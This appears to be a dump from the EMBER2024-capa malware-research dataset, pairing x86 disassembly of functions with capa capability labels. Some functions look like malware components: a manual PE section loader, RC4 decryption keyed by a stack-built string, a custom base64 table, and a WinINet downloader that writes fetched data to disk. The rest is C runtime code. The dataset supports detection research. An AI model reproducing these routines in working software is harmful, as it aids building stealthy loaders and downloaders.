joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001150
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10001211
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x100011bb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x100011ef
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x100011ef
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x1000117e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10001220
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x100012d4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10001277
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100012ba
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x10004010]
je 0x1000128e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x100012a7
test al, 0x40
je 0x1000129e
mov ecx, dword [ebx + 0x20]
jmp 0x100012a5
test al, 0x80
je 0x100012ba
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x100012ba
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10001244
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x100015c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x100015ea
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x1000163a
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x10001619
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret

Function at 0x10001660
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x100016ec
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x1000168b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x100016a8
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x100016d6
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x1000167a
pop ebp
pop ebx
pop edi
pop esi
ret
Function at 0x10001810
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x44
mov dl, byte [esp + 0x48]
mov cl, 0x41
mov byte [esp], cl
mov byte [esp + 1], 0x42
mov byte [esp + 2], 0x43
mov byte [esp + 3], 0x44
mov byte [esp + 4], 0x45
mov byte [esp + 5], 0x46
mov byte [esp + 6], 0x47
mov byte [esp + 7], 0x48
mov byte [esp + 8], 0x49
mov byte [esp + 9], 0x4a
mov byte [esp + 0xa], 0x4b
mov byte [esp + 0xb], 0x4c
mov byte [esp + 0xc], 0x4d
mov byte [esp + 0xd], 0x4e
mov byte [esp + 0xe], 0x4f
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], 0x51
mov byte [esp + 0x11], 0x52
mov byte [esp + 0x12], 0x53
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x55
mov byte [esp + 0x15], 0x56
mov byte [esp + 0x16], 0x57
mov byte [esp + 0x17], 0x58
mov byte [esp + 0x18], 0x59
mov byte [esp + 0x19], 0x5a
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x62
mov byte [esp + 0x1c], 0x63
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x66
mov byte [esp + 0x20], 0x67
mov byte [esp + 0x21], 0x68
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6a
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], 0x71
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0x75
mov byte [esp + 0x2f], 0x76
mov byte [esp + 0x30], 0x77
mov byte [esp + 0x31], 0x78
mov byte [esp + 0x32], 0x79
mov byte [esp + 0x33], 0x7a
mov byte [esp + 0x34], 0x30
mov byte [esp + 0x35], 0x31
mov byte [esp + 0x36], 0x32
mov byte [esp + 0x37], 0x33
mov byte [esp + 0x38], 0x34
mov byte [esp + 0x39], 0x35
mov byte [esp + 0x3a], 0x36
mov byte [esp + 0x3b], 0x37
mov byte [esp + 0x3c], 0x38
mov byte [esp + 0x3d], 0x39
mov byte [esp + 0x3e], 0x2b
mov byte [esp + 0x3f], 0x2f
mov byte [esp + 0x40], 0
lea eax, [esp]
cmp cl, dl
je 0x10001974
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001961
or eax, 0xffffffff
add esp, 0x44
ret
lea ecx, [esp]
sub eax, ecx
add esp, 0x44
ret
Function at 0x10001980
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x110
mov ecx, dword [esp + 0x114]
push esi
lea eax, [esp + 4]
push edi
push eax
push ecx
mov dword [esp + 0x10], 0
call fcn.100016f0
mov esi, eax
add esp, 8
xor eax, eax
test esi, esi
jle 0x100019cc
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
add dl, 0x7a
mov byte [eax + ecx], dl
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
xor dl, 0x59
mov byte [eax + ecx], dl
inc eax
cmp eax, esi
jl 0x100019ad
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x74
mov byte [esp + 0xf], 0x6f
mov byte [esp + 0x10], 0x6e
mov byte [esp + 0x11], 0x67
mov byte [esp + 0x12], 0x35
mov byte [esp + 0x13], 0x33
mov byte [esp + 0x14], 0x38
mov byte [esp + 0x15], 0
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
push edx
push eax
call fcn.100015c0
mov ecx, dword [esp + 0x14]
push esi
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.10001660
mov eax, dword [esp + 0x20]
add esp, 0x18
pop edi
pop esi
add esp, 0x110
ret
Function at 0x10001a40
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x428
push ebx
push esi
xor ebx, ebx
push edi
mov al, 0x6c
push ebx
mov byte [esp + 0x14], al
mov byte [esp + 0x15], al
mov byte [esp + 0x25], al
push ebx
push ebx
lea eax, [esp + 0x18]
mov dl, 0x69
mov cl, 0x61
push ebx
push eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x44], ebx
mov byte [esp + 0x20], 0x4d
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x7a
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0x2f
mov byte [esp + 0x28], 0x34
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2a], 0x30
mov byte [esp + 0x2b], 0x20
mov byte [esp + 0x2c], 0x28
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x6d
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x62
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0x29
mov byte [esp + 0x38], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x2c], edi
jne 0x10001af3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x428
ret
mov ecx, dword [esp + 0x438]
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x10001b1c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x428
ret
mov edx, dword [esp + 0x43c]
push ebp
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10001b92
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x38]
push eax
push 0x400
push ecx
push esi
call ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x34]
push 0
push edx
lea ecx, [esp + 0x40]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x10001b43
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x30]
mov ebx, 1
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop ebp
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x428
ret
Function at 0x10001c20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov cl, 0x72
mov al, 0x5c
mov byte [esp + 4], cl
mov byte [esp + 7], cl
mov cl, 0x70
push ebx
push edi
mov byte [esp + 0xa], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x21], al
mov ecx, 0x41
xor eax, eax
mov edi, 0x100044b0
mov bl, 0x50
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov byte [esp + 0xb], bl
mov byte [esp + 0x1c], bl
mov dl, 0x61
xor bl, bl
push eax
push 0x100044b0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x20
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x2a], bl
call fcn.100020d0
mov ecx, dword [esp + 0x30]
push ecx
push 0x100044b0
call fcn.100020d0
add esp, 0x10
mov dl, bl
add dl, 0x43
push edx
call fcn.10001bb0
add esp, 4
test eax, eax
jne 0x10001cfa
inc bl
cmp bl, 4
jl 0x10001cdb
pop edi
pop ebx
add esp, 0x1c
ret
pop edi
mov eax, 1
pop ebx
add esp, 0x1c
ret
Function at 0x468d9b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x468dda
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x468dda
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x468dda
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x468dda
cmp dword [ecx + 0x74], 0xe
jbe 0x468dda
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x472569
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x472606
push ebx
push esi
call fcn.00472532
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004724c6
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4725b3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x472605
push edi
push eax
call fcn.00471038
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4725d3
call fcn.00470a85
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x472604
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004724c6
add esp, 0x20
test eax, eax
jne 0x4725f2
push edi
call fcn.00470a85
jmp 0x4725fa
push ebx
call fcn.00470a85
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4739ba
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x47ca10
push 0x47ca08
push str.FlsAlloc
push 0x1f
call fcn.00473879
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4739ee
push dword [ebp + 8]
mov ecx, esi
call dword [0x47a12c]
call esi
jmp 0x4739f4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x473a38
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x47ca20
push 0x47ca18
push str.FlsGetValue
push 0x21
call fcn.00473879
mov esi, eax
add esp, 0x10
test esi, esi
je 0x473a6f
push dword [ebp + 8]
mov ecx, esi
call dword [0x47a12c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x473a77
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x47ca28
push 0x47ca20
push str.FlsSetValue
push 0x22
call fcn.00473879
mov esi, eax
add esp, 0x10
test esi, esi
je 0x473ab1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x47a12c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x475654
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4820f0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x475694
cmp byte [ebx], 0xa
jne 0x475694
or byte [edi + eax + 0x28], 4
jmp 0x475699
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x475798
mov dl, byte [eax]
cmp dl, 0x1a
je 0x47577b
inc eax
cmp dl, 0xd
je 0x4756c5
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4756eb
cmp eax, ecx
jae 0x4756f9
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4756ad
jmp 0x475798
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x475776
cmp dword [ebp - 0x10], 0
je 0x475776
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4820f0]
test byte [eax + edi + 0x28], 0x48
je 0x475750
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x47573b
mov byte [esi], dl
jmp 0x47574c
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4820f0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x475798
cmp byte [ebp - 1], 0xa
jne 0x47575f
cmp esi, ebx
jne 0x47575f
mov byte [esi], 0xa
jmp 0x475797
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0047544d
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x475798
mov byte [esi], 0xd
jmp 0x475797
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4820f0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x475795
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x475798
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4757a1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4820f0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4757e7
cmp word [ebx], dx
jne 0x4757e7
or byte [eax + edi + 0x28], 4
jmp 0x4757ec
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x47594f
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x47592f
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x47582d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x475863
cmp eax, edx
jae 0x475871
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x475808
jmp 0x47594f
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47592a
cmp dword [ebp - 0x18], 0
je 0x47592a
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4820f0]
test byte [eax + edi + 0x28], 0x48
je 0x475900
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4758c4
mov word [esi], cx
jmp 0x4758fb
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4820f0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4820f0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4820f0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x47594f
pop eax
cmp word [ebp - 4], ax
jne 0x475910
cmp esi, ebx
jne 0x475910
mov word [esi], ax
jmp 0x47594c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0047544d
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x47594f
push 0xd
pop eax
jmp 0x47590b
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4820f0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x475949
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x47594f
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x476fc5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00476f41
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x477134
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x477134
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4770e9
jg 0x477021
test eax, eax
je 0x4770df
push 1
push 0x1000
call fcn.00471086
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x477044
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4770d6
push 0x8000
push ebx
call fcn.0046e2c3
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x47706d
jg 0x477068
cmp ecx, 0x1000
jb 0x47706d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0046fc11
add esp, 0x10
cmp eax, 0xffffffff
je 0x4770b2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x477068
jl 0x477099
test ecx, ecx
jne 0x47705a
push dword [ebp - 0xc]
push ebx
call fcn.0046e2c3
push esi
call fcn.00470a85
add esp, 0xc
xor ebx, ebx
jmp 0x477142
cmp byte [edi + 0x24], 0
je 0x4770c9
cmp dword [edi + 0x20], 5
jne 0x4770c9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4770d4
mov ebx, dword [edi + 0x18]
jmp 0x4770d6
xor ebx, ebx
push esi
call fcn.00470a85
pop ecx
jmp 0x477142
test ecx, ecx
jg 0x4770ab
jl 0x4770e9
test eax, eax
jae 0x4770ab
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0047544d
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x477109
cmp byte [edi + 0x1c], 0
je 0x4770ab
jmp 0x47713a
push ebx
call fcn.00472da9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4770ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x477142
cmp byte [edi + 0x1c], 0
je 0x47713f
mov ebx, dword [edi + 0x18]
jmp 0x477142
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0047544d
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x479130
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47915d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47915d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret